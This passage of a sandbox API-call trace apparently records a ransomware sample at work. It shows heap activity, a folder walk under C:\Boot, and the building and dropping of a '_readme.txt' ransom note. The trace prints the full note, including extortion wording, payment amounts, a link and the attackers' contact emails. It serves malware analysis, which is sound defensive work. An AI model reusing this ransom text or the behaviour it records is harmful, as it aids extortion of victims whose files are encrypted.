Size=0x820) returned 0x7ac3918 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.606] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0111.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.606] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.606] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.606] PathFindFileNameW (pszPath="") returned="" [0111.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.606] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.606] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.606] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.607] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.607] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0111.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.607] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0111.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.608] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.608] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.608] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.608] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.608] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.608] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.608] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.608] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.609] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.610] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 